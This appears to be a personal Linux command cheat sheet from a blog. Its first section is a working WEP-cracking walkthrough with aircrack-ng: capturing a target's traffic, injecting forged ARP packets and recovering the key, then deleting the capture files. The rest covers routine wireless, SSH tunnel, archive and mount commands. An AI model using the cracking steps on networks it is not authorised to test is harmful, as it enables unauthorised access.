Simple WEP Cracking

Run the following in the first terminal window to create an interface in monitor mode called mon0 of interface wlan0
The second command shows WEP encrypted networks nearby
The third command starts capturing traffic from your target

airmon-ng start wlan0 #create interface man0 in monitor mode of wlan0 airodump-ng --encrypt WEP mon0 #shows APs with WEP only airodump-ng -c [channel] --bssid [mac_of_ap] --ivs -w [filename] mon0

Now open a second terminal and run the following
The first line associates you with the mac (see terminal window 1)
The second line looks for an IV that you can replay.
The third line creates a packet that you replay in the fourth line

aireplay-ng -1 0 -a [mac_of_ap] -h [mac_of_wificard] wlan0 aireplay-ng -5 -b [mac_of_ap] -h [mac_of_wificard] wlan0 #answer Y to prompt packetforge-ng -0 -a [mac_of_ap] -h [mac_of_wificard] -k 255.255.255.255 -l 255.255.255.255 -y *.xor -w arp-packet wlan0 aireplay-ng -2 -r arp-packet wlan0 #answer Y to prompt

Watch those packets fly up in reminal window 1!!!!
Open a new terminal window and run the following to start cracking

aircrack-ng -n 128 -b [mac_of_ap] *.ivs

Remember to clean up your crap once you have finished

rm *.ivs *.cap *.xor

And to simplify this i've made a bash script, see the apps page.

Wireless setup from command line

Make sure wireless-tools is installed and then edit /etc/network/interfacese

auto eth1 iface eth1 inet dhcp wpa-driver wext wpa-ssid [ssid here] wpa-ap-scan 1 wpa-proto WPA wpa-pairwise TKIP wpa-group TKIP wpa-key-mgmt WPA-PSK wpa-psk [result of wpa_passphrase essid phrase] #or auto eth1 iface eth1 inet dhcp wireless-essid [ssid here] wireless-key [network key]

And to improve your wireless performance if you're getting dropped packets use

iwconfig [interface] rate 5.5M auto

Mount ISO

This allows you to mount an iso file in a linux directory

mount -o loop file.iso /mnt/cdrom

SSH Tunnels

This will allow your VNC session to run over the ssh session, just vnc to yourself

ssh username@123.123.123.123 -L 5900:127.0.0.1:5900

This will set up a SSH SOCKS5 proxy on port 8080 (don't forget to set your borwser proxy to socks5 8080)

ssh username@123.123.123.123 -ND 8080

Sync to directories

This will verbosely sync the 2 directories

rsync -r -t -v --progress /home/phillips321/Documents/ /media/usb/Documents/

Archives

This zips the directory and names it xyz.zip in /home/user/

zip -r /home/user/xyz.zip /location/of/directory

This unzips the archive

unzip /home/user/xyz.zip

This tars the directory and names it xyz.tar in /home/user/

tar -cvf /home/user/xyz.tar /location/of/directory

This untars the archive

tar -xvf /home/user/xyz.tar -C /location/to/extract/to/

This tar.gzs the directory and names it xyz.tar.gz in /home/user/

tar -zcvf /home/user/xyz.tar.gz /location/of/directory

This untars the archive

tar -zxvf /home/user/xyz.tar.gz -C /location/to/extract/to/

Mount SSH filesystem

This allows mounting of a remote file system over ssh. Ensure that the sshfs package is installed.

sshfs phillips321@torrenter.co.uk:/var/www /media/ssh -o allow_other

Port process

This command indentifies which process is running on which port. Displays pid and name.

netstat -lnp